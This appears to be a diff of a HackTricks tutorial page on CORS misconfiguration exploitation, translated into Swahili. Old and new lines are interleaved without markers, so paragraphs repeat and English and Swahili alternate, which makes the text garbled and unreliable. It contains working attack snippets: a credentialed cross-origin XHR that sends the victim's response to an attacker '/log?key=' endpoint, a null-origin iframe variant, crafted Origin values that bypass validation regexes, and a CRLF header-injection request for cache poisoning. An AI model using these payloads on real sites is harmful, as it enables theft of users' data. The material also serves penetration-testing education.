Tumia [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=web-api-pentesting) kujenga na **kujiendesha** kwa urahisi kazi zinazotumiwa na zana za jamii **za kisasa zaidi** duniani.\
Tumia [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=web-api-pentesting) kujenga na **kujiendesha kiotomatiki** kazi zinazotolewa na zana za jamii **zilizoendelea zaidi** duniani.\
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %}
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -88,7 +89,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}

View file

@ -1,16 +1,16 @@
# CORS - Makosa ya Usanidi & Kuepuka
# CORS - Makosa ya Usanidi & Kupita
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}
@ -21,9 +21,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## CORS ni nini?
Mizani ya Kushiriki Rasilimali za Mikoa Mbalimbali (CORS) **inawawezesha seva kufafanua ni nani anaweza kufikia mali zao** na **ni njia zipi za ombi la HTTP zinazoruhusiwa** kutoka vyanzo vya nje.
Mwanzo wa Rasilimali ya Kuingiliana (CORS) **inawawezesha seva kufafanua nani anaweza kufikia mali zao** na **ni njia zipi za ombi la HTTP zinazoruhusiwa** kutoka vyanzo vya nje.
Sera ya **same-origin** inahitaji kwamba **seva inayotaka** rasilimali na seva inayohifadhi **rasilimali** zishiriki itifaki sawa (mfano, `http://`), jina la kikoa (mfano, `internal-web.com`), na **bandari** (mfano, 80). Chini ya sera hii, ni kurasa za wavuti kutoka kikoa na bandari sawa pekee ndizo zinazoruhusiwa kufikia rasilimali hizo.
Sera ya **same-origin** inahitaji kwamba **seva inayohitaji** rasilimali na seva inayohifadhi **rasilimali** zishiriki itifaki sawa (mfano, `http://`), jina la kikoa (mfano, `internal-web.com`), na **bandari** (mfano, 80). Chini ya sera hii, ni kurasa za wavuti kutoka kikoa na bandari sawa pekee ndizo zinazoruhusiwa kufikia rasilimali hizo.
Matumizi ya sera ya same-origin katika muktadha wa `http://normal-website.com/example/example.html` yanaonyeshwa kama ifuatavyo:
@ -40,13 +40,13 @@ Matumizi ya sera ya same-origin katika muktadha wa `http://normal-website.com/ex
### `Access-Control-Allow-Origin` Header
Header hii inaweza kuruhusu **mikoa mingi**, thamani ya **`null`**, au wildcards **`*`**. Hata hivyo, **hakuna kivinjari kinachounga mkono mikoa mingi**, na matumizi ya wildcard `*` yanakabiliwa na **mipaka**. (Wildcard lazima itumike peke yake, na matumizi yake pamoja na `Access-Control-Allow-Credentials: true` hayaruhusiwi.)
Header hii inaweza kuruhusu **vyanzo vingi**, thamani ya **`null`**, au wildcard **`*`**. Hata hivyo, **hakuna kivinjari kinachounga mkono vyanzo vingi**, na matumizi ya wildcard `*` yanategemea **mipaka**. (Wildcard lazima itumike peke yake, na matumizi yake pamoja na `Access-Control-Allow-Credentials: true` hayaruhusiwi.)
Header hii **inatolewa na seva** kama jibu la ombi la rasilimali ya mikoa tofauti lililoanzishwa na tovuti, huku kivinjari kikiongeza kiotomatiki header ya `Origin`.
Header hii **inatolewa na seva** kama jibu la ombi la rasilimali ya kuvuka kikoa lililoanzishwa na tovuti, huku kivinjari kikiongeza kiotomatiki header ya `Origin`.
### `Access-Control-Allow-Credentials` Header
Kwa **kawaida**, maombi ya mikoa tofauti yanafanywa bila akidi kama vile vidakuzi au header ya Uidhinishaji. Hata hivyo, seva ya mikoa tofauti inaweza kuruhusu kusoma jibu wakati akidi zinatumwa kwa kuweka header ya `Access-Control-Allow-Credentials` kuwa **`true`**.
Kwa **kawaida**, maombi ya kuvuka kikoa yanafanywa bila akidi kama vile vidakuzi au header ya Uidhinishaji. Hata hivyo, seva ya kuvuka kikoa inaweza kuruhusu kusoma jibu wakati akidi zinatumwa kwa kuweka header ya `Access-Control-Allow-Credentials` kuwa **`true`**.
Ikiwa imewekwa kuwa `true`, kivinjari kitaweza kutuma akidi (vidakuzi, headers za uidhinishaji, au vyeti vya mteja vya TLS).
```javascript
@ -94,7 +94,7 @@ Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
Katika majibu, seva inaweza kurudisha vichwa vinavyoashiria mbinu zilizokubaliwa, asili iliyoruhusiwa, na maelezo mengine ya sera ya CORS, kama inavyoonyeshwa hapa chini:
Katika majibu, seva inaweza kurudisha vichwa vinavyoashiria mbinu zilizokubaliwa, asili iliyoidhinishwa, na maelezo mengine ya sera ya CORS, kama inavyoonyeshwa hapa chini:
```markdown
HTTP/1.1 204 No Content
...
@ -106,20 +106,20 @@ Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: Kichwa hiki kinaeleza ni vichwa gani vinaweza kutumika wakati wa ombi halisi. Kimewekwa na seva kuashiria vichwa vinavyoruhusiwa katika maombi kutoka kwa mteja.
* **`Access-Control-Expose-Headers`**: Kupitia kichwa hiki, seva inamjulisha mteja ni vichwa gani vinaweza kufichuliwa kama sehemu ya jibu mbali na vichwa vya jibu rahisi.
* **`Access-Control-Max-Age`**: Kichwa hiki kinaonyesha ni muda gani matokeo ya ombi la pre-flight yanaweza kuhifadhiwa. Seva inaweka muda wa juu, kwa sekunde, ambao taarifa iliyorejeshwa na ombi la pre-flight inaweza kutumika tena.
* **`Access-Control-Max-Age`**: Kichwa hiki kinaonyesha ni kwa muda gani matokeo ya ombi la pre-flight yanaweza kuhifadhiwa. Seva inaweka muda wa juu, kwa sekunde, ambao taarifa iliyorejeshwa na ombi la pre-flight inaweza kutumika tena.
* **`Access-Control-Request-Headers`**: Inayotumika katika maombi ya pre-flight, kichwa hiki kimewekwa na mteja kuijulisha seva ni vichwa gani vya HTTP ambavyo mteja anataka kutumia katika ombi halisi.
* **`Access-Control-Request-Method`**: Kichwa hiki, pia kinachotumika katika maombi ya pre-flight, kimewekwa na mteja kuashiria ni njia gani ya HTTP itakayokuwa ikitumika katika ombi halisi.
* **`Origin`**: Kichwa hiki kimewekwa kiotomatiki na kivinjari na kinaonyesha asili ya ombi la cross-origin. Kinatumika na seva kutathmini ikiwa ombi linalokuja linapaswa kuruhusiwa au kukataliwa kulingana na sera ya CORS.
Kumbuka kwamba kawaida (kutegemea aina ya maudhui na vichwa vilivyowekwa) katika **ombio la GET/POST hakuna ombi la pre-flight linalotumwa** (ombio linatumwa **moja kwa moja**), lakini ikiwa unataka kufikia **vichwa/mwili wa jibu**, lazima iwe na kichwa _Access-Control-Allow-Origin_ kinachoruhusu.\
**Hivyo, CORS hailindi dhidi ya CSRF (lakini inaweza kuwa na manufaa).**
Kumbuka kwamba kwa kawaida (kutegemea aina ya maudhui na vichwa vilivyowekwa) katika **ombio la GET/POST hakuna ombi la pre-flight linalotumwa** (ombio linatumwa **moja kwa moja**), lakini ikiwa unataka kufikia **vichwa/mwili wa jibu**, lazima iwe na kichwa _Access-Control-Allow-Origin_ kinachoruhusu.\
**Hivyo, CORS hailindi dhidi ya CSRF (lakini inaweza kuwa na msaada).**
### **Maombi ya Mtandao wa Mitaa Ombi la Pre-flight**
1. **`Access-Control-Request-Local-Network`**: Kichwa hiki kimejumuishwa katika ombi la mteja kuashiria kwamba uchunguzi unalenga rasilimali ya mtandao wa ndani. Kinatumika kama alama kuijulisha seva kwamba ombi linatoka ndani ya mtandao wa ndani.
2. **`Access-Control-Allow-Local-Network`**: Katika majibu, seva zinatumia kichwa hiki kuwasiliana kwamba rasilimali iliyohitajika inaruhusiwa kushirikiwa na vyombo vya nje ya mtandao wa ndani. Kinatumika kama mwanga wa kijani kwa kushiriki rasilimali kati ya mipaka tofauti ya mtandao, kuhakikisha ufikiaji ulio na udhibiti huku ukihifadhi itifaki za usalama.
Jibu **halali linaloruhusu ombi la mtandao wa ndani** linahitaji kuwa na pia katika jibu kichwa `Access-Controls-Allow-Local_network: true`:
Jibu **halali linaloruhusu ombi la mtandao wa ndani** linahitaji kuwa na pia katika jibu kichwa `Access-Controls-Allow-Local_network: true` :
```
HTTP/1.1 200 OK
...
@ -131,22 +131,31 @@ Content-Length: 0
...
```
{% hint style="warning" %}
Kumbuka kwamba IP ya linux **0.0.0.0** inafanya kazi ili **kuepuka** mahitaji haya ya kufikia localhost kwani anwani hiyo ya IP haichukuliwi kuwa "ya ndani".
Kumbuka kwamba IP ya linux **0.0.0.0** inafanya kazi ili **kuepuka** mahitaji haya ya kufikia localhost kwani anwani hiyo ya IP haichukuliwi kama "ya ndani".
Pia inawezekana **kuepuka mahitaji ya Mtandao wa Ndani** ikiwa utatumia **anwani ya IP ya umma ya mwisho wa ndani** (kama anwani ya IP ya umma ya router). Kwa sababu katika matukio kadhaa, hata kama **IP ya umma** inafikiwa, ikiwa ni **kutoka kwenye mtandao wa ndani**, ufikiaji utawezesha.
{% endhint %}
## Makosa yanayoweza kutumika
### Wildcards
Imeonekana kwamba kuweka `Access-Control-Allow-Credentials` kuwa **`true`** ni sharti la awali kwa mashambulizi mengi **halisi**. Kuweka hii kunaruhusu kivinjari kutuma akidi na kusoma jibu, kuimarisha ufanisi wa shambulizi. Bila hii, faida ya kufanya kivinjari kutoa ombi badala ya kufanya hivyo mwenyewe inapungua, kwani kutumia vidakuzi vya mtumiaji inakuwa vigumu.
Kumbuka kwamba hata kama usanidi ufuatao unaweza kuonekana kuwa na ruhusa nyingi:
```bash
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```
This is not allowed by browsers and therefore credentials won't be sent with the request allowed by this.
### Tofauti: Kutumia Mahali pa Mtandao kama Uthibitisho
## Exploitable misconfigurations
Kuna tofauti ambapo mahali pa mtandao wa mwathirika hutenda kama aina ya uthibitisho. Hii inaruhusu kivinjari cha mwathirika kutumika kama proxy, kuzunguka uthibitisho wa IP ili kufikia programu za intranet. Njia hii ina fanana katika athari na DNS rebinding lakini ni rahisi kutekeleza.
Imekuwa ikionekana kwamba kuweka `Access-Control-Allow-Credentials` kuwa **`true`** ni sharti la awali kwa mashambulizi mengi **halisi**. Kuweka hii kunaruhusu kivinjari kutuma akidi na kusoma jibu, kuimarisha ufanisi wa shambulizi. Bila hii, faida ya kufanya kivinjari kutoa ombi badala ya kufanya hivyo mwenyewe inapungua, kwani kutumia vidakuzi vya mtumiaji inakuwa vigumu.
### Kurefusha `Origin` katika `Access-Control-Allow-Origin`
### Exception: Exploiting Network Location as Authentication
Hali halisi ambapo thamani ya kichwa cha `Origin` inarefushwa katika `Access-Control-Allow-Origin` ni ya nadharia isiyowezekana kutokana na vizuizi vya kuunganisha vichwa hivi. Hata hivyo, waendelezaji wanaotafuta kuwezesha CORS kwa URL nyingi wanaweza kuunda kwa dinamik `Access-Control-Allow-Origin` kichwa kwa kunakili thamani ya kichwa cha `Origin`. Njia hii inaweza kuleta udhaifu, hasa wakati mshambuliaji anatumia kikoa chenye jina kilichoundwa kuonekana kuwa halali, hivyo kudanganya mantiki ya uthibitishaji.
Kuna ubaguzi ambapo eneo la mtandao la mwathirika linatumika kama aina ya uthibitisho. Hii inaruhusu kivinjari cha mwathirika kutumika kama proxy, kupita uthibitisho wa IP ili kufikia programu za intranet. Njia hii ina kufanana katika athari na DNS rebinding lakini ni rahisi zaidi kutekeleza.
### Reflection of `Origin` in `Access-Control-Allow-Origin`
Hali halisi ambapo thamani ya kichwa cha `Origin` inarejelewa katika `Access-Control-Allow-Origin` ni ya nadharia isiyowezekana kutokana na vizuizi vya kuunganisha vichwa hivi. Hata hivyo, wabunifu wanaotafuta kuwezesha CORS kwa URL nyingi wanaweza kuunda kwa dinamik `Access-Control-Allow-Origin` kichwa kwa kunakili thamani ya kichwa cha `Origin`. Njia hii inaweza kuleta udhaifu, hasa wakati mshambuliaji anatumia domain yenye jina lililoundwa kuonekana halali, hivyo kudanganya mantiki ya uthibitishaji.
```html
<script>
var req = new XMLHttpRequest();
@ -161,7 +170,7 @@ location='/log?key='+this.responseText;
```
### Kutumia `null` Origin
`null` origin, iliyoainishwa kwa hali kama vile redirects au faili za HTML za ndani, ina nafasi ya kipekee. Programu zingine zinaweka orodha ya kuruhusiwa kwa origin hii ili kuwezesha maendeleo ya ndani, bila kukusudia ikiruhusu tovuti yoyote kuiga `null` origin kupitia iframe iliyo sanduku, hivyo kupita vizuizi vya CORS.
`null` origin, iliyoainishwa kwa hali kama vile redirects au faili za HTML za ndani, ina nafasi ya kipekee. Programu zingine zinaweka orodha ya ruhusa kwa origin hii ili kuwezesha maendeleo ya ndani, bila kukusudia kuruhusu tovuti yoyote kuiga `null` origin kupitia iframe iliyo sanduku, hivyo kupita vizuizi vya CORS.
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
@ -193,7 +202,7 @@ Wakati wa kukutana na orodha ya maeneo yaliyoruhusiwa, ni muhimu kujaribu fursa
### Kupita kwa Mifumo ya Kawaida ya Juu
Mifumo ya Regex kawaida inazingatia wahusika wa alphanumeric, nukta (.), na alama za kuunganisha (-), ikipuuzilia mbali uwezekano mwingine. Kwa mfano, jina la eneo lililotengenezwa ili kujumuisha wahusika wanaotafsiriwa tofauti na vivinjari na mifumo ya regex linaweza kupita ukaguzi wa usalama. Utunzaji wa wahusika wa alama ya chini katika subdomains na Safari, Chrome, na Firefox unaonyesha jinsi tofauti hizo zinaweza kutumika ili kuzunguka mantiki ya uthibitishaji wa maeneo.
Mifumo ya Regex kawaida inazingatia wahusika wa alphanumeric, nukta (.), na alama ya kuunganisha (-), ikipuuza uwezekano mwingine. Kwa mfano, jina la eneo lililotengenezwa ili kujumuisha wahusika wanaotafsiriwa tofauti na vivinjari na mifumo ya regex linaweza kupita ukaguzi wa usalama. Ushughulikiaji wa wahusika wa alama ya chini katika subdomains na Safari, Chrome, na Firefox unaonyesha jinsi tofauti hizo zinaweza kutumika ili kuzunguka mantiki ya uthibitishaji wa eneo.
**Kwa maelezo zaidi na mipangilio ya ukaguzi huu wa kupita:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **na** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
@ -201,7 +210,7 @@ Mifumo ya Regex kawaida inazingatia wahusika wa alphanumeric, nukta (.), na alam
### Kutoka XSS ndani ya subdomain
Wakuu wa programu mara nyingi wanaweka mifumo ya kujihami ili kulinda dhidi ya matumizi mabaya ya CORS kwa kuorodhesha maeneo ambayo yanaruhusiwa kuomba taarifa. Licha ya tahadhari hizi, usalama wa mfumo si wa kuaminika kabisa. Uwepo wa subdomain moja tu yenye udhaifu ndani ya maeneo yaliyoruhusiwa unaweza kufungua mlango wa matumizi mabaya ya CORS kupitia udhaifu mwingine, kama vile XSS (Cross-Site Scripting).
Wakuu wa programu mara nyingi wanaweka mifumo ya kujihami ili kulinda dhidi ya matumizi mabaya ya CORS kwa kuorodhesha maeneo ambayo yanaruhusiwa kuomba taarifa. Licha ya tahadhari hizi, usalama wa mfumo sio wa kuaminika. Uwepo wa subdomain moja tu yenye udhaifu ndani ya maeneo yaliyoruhusiwa unaweza kufungua mlango wa matumizi mabaya ya CORS kupitia udhaifu mwingine, kama vile XSS (Cross-Site Scripting).
Ili kuonyesha, fikiria hali ambapo eneo, `requester.com`, limeorodheshwa ili kufikia rasilimali kutoka eneo lingine, `provider.com`. Mipangilio ya upande wa seva inaweza kuonekana kama ifuatavyo:
```javascript
@ -213,18 +222,47 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
```
Katika mpangilio huu, subdomain zote za `requester.com` zinaruhusiwa kupata. Hata hivyo, ikiwa subdomain, sema `sub.requester.com`, imeathiriwa na udhaifu wa XSS, mshambuliaji anaweza kutumia udhaifu huu. Kwa mfano, mshambuliaji mwenye ufikiaji wa `sub.requester.com` anaweza kutumia udhaifu wa XSS ili kupita sera za CORS na kwa uovu kufikia rasilimali kwenye `provider.com`.
### **Uchafuzi wa cache upande wa seva**
### **Makarakteri Maalum**
PortSwiggers [URL validation bypass cheat sheet](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) iligundua kuwa baadhi ya vivinjari vinasaidia wahusika wa ajabu ndani ya majina ya kikoa.
Chrome na Firefox vinasaidia viwango vya chini `_` ambavyo vinaweza kupita regexes zilizotekelezwa kuthibitisha kichwa cha `Origin`:
```
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
```
```
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true
```
Safari ni mwepesi zaidi kukubali wahusika maalum katika jina la kikoa:
```
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
```
```
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true
```
### **Server-side cache poisoning**
[**Kutoka utafiti huu**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Inawezekana kwamba kwa kutumia uchafuzi wa cache upande wa seva kupitia sindano ya kichwa cha HTTP, udhaifu wa Cross-Site Scripting (XSS) unaweza kuanzishwa. Hali hii inatokea wakati programu inashindwa kusafisha kichwa cha `Origin` kwa wahusika haramu, ikisababisha udhaifu hasa kwa watumiaji wa Internet Explorer na Edge. Mablua haya yanachukulia (0x0d) kama mkataba halali wa kichwa cha HTTP, na kusababisha udhaifu wa sindano ya kichwa cha HTTP.
Inawezekana kwamba kwa kutumia uhamasishaji wa server-side cache poisoning kupitia HTTP header injection, udhaifu wa Cross-Site Scripting (XSS) unaweza kuanzishwa. Hali hii inatokea wakati programu inashindwa kusafisha kichwa cha `Origin` kwa wahusika haramu, ikisababisha udhaifu hasa kwa watumiaji wa Internet Explorer na Edge. Mablua haya yanachukulia (0x0d) kama mkataba halali wa HTTP header, na kusababisha udhaifu wa HTTP header injection.
Fikiria ombi lifuatalo ambapo kichwa cha `Origin` kinamanipulika:
```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
Internet Explorer na Edge hufasiri jibu kama:
Internet Explorer na Edge zinatafsiri jibu kama:
```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
@ -240,11 +278,11 @@ For further reading on stored XSS vulnerabilities, see [PortSwigger](https://por
[**From this research**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Katika hali hii, mfano wa ukurasa wa wavuti unaonyesha maudhui ya kichwa cha HTTP cha kawaida bila uandishi sahihi unakabiliwa. Kwa usahihi, ukurasa wa wavuti unarudisha maudhui yaliyojumuishwa katika kichwa cha `X-User-id`, ambacho kinaweza kujumuisha JavaScript mbaya, kama inavyoonyeshwa na mfano ambapo kichwa kina tag ya picha ya SVG iliyoundwa kutekeleza msimbo wa JavaScript wakati wa kupakia.
In this scenario, an instance of a web page reflecting the contents of a custom HTTP header without proper encoding is observed. Specifically, the web page reflects back the contents included in a `X-User-id` header, which could include malicious JavaScript, as demonstrated by the example where the header contains an SVG image tag designed to execute JavaScript code on load.
Sera za Cross-Origin Resource Sharing (CORS) zinaruhusu kutumwa kwa vichwa vya kawaida. Hata hivyo, bila jibu kutolewa moja kwa moja na kivinjari kutokana na vizuizi vya CORS, matumizi ya sindano kama hiyo yanaweza kuonekana kuwa na mipaka. Kitu muhimu kinatokea wakati wa kuzingatia tabia ya cache ya kivinjari. Ikiwa kichwa cha `Vary: Origin` hakijabainishwa, inakuwa inawezekana kwa jibu mbaya kuhifadhiwa na kivinjari. Baadaye, jibu hili lililohifadhiwa linaweza kuonyeshwa moja kwa moja wakati wa kuhamasisha URL, kupita hitaji la uonyeshaji wa moja kwa moja wakati wa ombi la awali. Mekanismu hii inaboresha uaminifu wa shambulio kwa kutumia caching upande wa mteja.
Cross-Origin Resource Sharing (CORS) policies allow for the sending of custom headers. However, without the response being directly rendered by the browser due to CORS restrictions, the utility of such an injection might seem limited. The critical point arises when considering the browser's cache behavior. If the `Vary: Origin` header is not specified, it becomes possible for the malicious response to be cached by the browser. Subsequently, this cached response could be rendered directly when navigating to the URL, bypassing the need for direct rendering upon the initial request. This mechanism enhances the reliability of the attack by leveraging client-side caching.
Ili kuonyesha shambulio hili, mfano wa JavaScript unapatikana, ulioandaliwa kutekelezwa katika mazingira ya ukurasa wa wavuti, kama kupitia JSFiddle. Skripti hii inafanya kitendo rahisi: inatuma ombi kwa URL maalum yenye kichwa cha kawaida kinachojumuisha JavaScript mbaya. Baada ya kukamilika kwa ombi kwa mafanikio, inajaribu kuhamasisha URL ya lengo, huenda ikasababisha utekelezaji wa skripti iliyosambazwa ikiwa jibu limehifadhiwa bila kushughulikia ipasavyo kichwa cha `Vary: Origin`.
To illustrate this attack, a JavaScript example is provided, designed to be executed in the environment of a web page, such as through a JSFiddle. This script performs a simple action: it sends a request to a specified URL with a custom header containing the malicious JavaScript. Upon successful request completion, it attempts to navigate to the target URL, potentially triggering the execution of the injected script if the response has been cached without proper handling of the `Vary: Origin` header.
Here's a summarized breakdown of the JavaScript used to execute this attack:
```html
@ -264,7 +302,7 @@ req.send();
XSSI, pia inajulikana kama Cross-Site Script Inclusion, ni aina ya udhaifu inayotumia ukweli kwamba Sera ya Asili Moja (SOP) haitumiki wakati wa kujumuisha rasilimali kwa kutumia lebo ya script. Hii ni kwa sababu scripts zinahitaji kuweza kujumuishwa kutoka kwa maeneo tofauti. Udhaifu huu unaruhusu mshambuliaji kufikia na kusoma maudhui yoyote ambayo yalijumuishwa kwa kutumia lebo ya script.
Udhaifu huu unakuwa muhimu hasa inapohusiana na JavaScript ya dinamik au JSONP (JSON na Padding), hasa wakati taarifa za mamlaka ya mazingira kama vile vidakuzi zinapotumika kwa uthibitishaji. Wakati wa kuomba rasilimali kutoka kwa mwenyeji tofauti, vidakuzi vinajumuishwa, na kuwafanya waweze kupatikana kwa mshambuliaji.
Udhaifu huu unakuwa muhimu hasa linapokuja suala la JavaScript ya dinamik au JSONP (JSON na Padding), hasa wakati taarifa za mamlaka ya mazingira kama vile vidakuzi zinapotumika kwa uthibitishaji. Wakati wa kuomba rasilimali kutoka kwa mwenyeji tofauti, vidakuzi vinajumuishwa, na kuwafanya waweze kupatikana kwa mshambuliaji.
Ili kuelewa na kupunguza udhaifu huu, unaweza kutumia plugin ya BurpSuite inayopatikana kwenye [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Plugin hii inaweza kusaidia kubaini na kushughulikia udhaifu wa XSSI katika programu zako za wavuti.
@ -276,10 +314,10 @@ Jaribu kuongeza **`callback`** **parameter** katika ombi. Huenda ukurasa ulikuwa
### Easy (useless?) bypass
Njia moja ya kupita kizuizi cha `Access-Control-Allow-Origin` ni kwa kuomba programu ya wavuti kufanya ombi kwa niaba yako na kutuma majibu nyuma. Hata hivyo, katika hali hii, akidi za mwathirika wa mwisho hazitapelekwa kwani ombi linafanywa kwa eneo tofauti.
Njia moja ya kupita kizuizi cha `Access-Control-Allow-Origin` ni kwa kuomba programu ya wavuti kufanya ombi kwa niaba yako na kutuma jibu nyuma. Hata hivyo, katika hali hii, akidi za mwathirika wa mwisho hazitapelekwa kwani ombi linafanywa kwa eneo tofauti.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Chombo hiki kinatoa proxy inayosambaza ombi lako pamoja na vichwa vyake, huku pia ikidanganya kichwa cha Asili ili kufanana na eneo lililoombwa. Hii kwa ufanisi inapita sera ya CORS. Hapa kuna mfano wa matumizi na XMLHttpRequest:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Chombo hiki kinatoa njia mbadala ya kupitisha maombi. Badala ya kupitisha ombi lako kama lilivyo, seva inafanya ombi lake mwenyewe kwa vigezo vilivyotolewa.
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Chombo hiki kinatoa njia mbadala ya kupitisha maombi. Badala ya kupitisha ombi lako kama lilivyo, seva inafanya ombi lake mwenyewe na vigezo vilivyotajwa.
### Iframe + Popup Bypass
@ -291,17 +329,17 @@ Unaweza **kupita ukaguzi wa CORS** kama `e.origin === window.origin` kwa **kuund
### DNS Rebinding via TTL
DNS rebinding kupitia TTL ni mbinu inayotumiwa kupita hatua fulani za usalama kwa kubadilisha rekodi za DNS. Hapa kuna jinsi inavyofanya kazi:
DNS rebinding kupitia TTL ni mbinu inayotumika kupita hatua fulani za usalama kwa kubadilisha rekodi za DNS. Hapa kuna jinsi inavyofanya kazi:
1. Mshambuliaji anaunda ukurasa wa wavuti na kumfanya mwathirika aupate.
2. Mshambuliaji kisha anabadilisha DNS (IP) ya eneo lake mwenyewe ili kuelekeza kwenye ukurasa wa wavuti wa mwathirika.
3. Kivinjari cha mwathirika kinahifadhi jibu la DNS, ambalo linaweza kuwa na thamani ya TTL (Muda wa Kuishi) ikionyesha ni muda gani rekodi ya DNS inapaswa kuzingatiwa kuwa halali.
4. Wakati TTL inapoisha, kivinjari cha mwathirika kinafanya ombi jipya la DNS, kuruhusu mshambuliaji kutekeleza msimbo wa JavaScript kwenye ukurasa wa mwathirika.
4. Wakati TTL inapoisha, kivinjari cha mwathirika kinafanya ombi jipya la DNS, na kumruhusu mshambuliaji kutekeleza msimbo wa JavaScript kwenye ukurasa wa mwathirika.
5. Kwa kudumisha udhibiti juu ya IP ya mwathirika, mshambuliaji anaweza kukusanya taarifa kutoka kwa mwathirika bila kutuma vidakuzi vyovyote kwa seva ya mwathirika.
Ni muhimu kutambua kwamba vivinjari vina mifumo ya kuhifadhi ambayo inaweza kuzuia matumizi ya haraka ya mbinu hii, hata na thamani za chini za TTL.
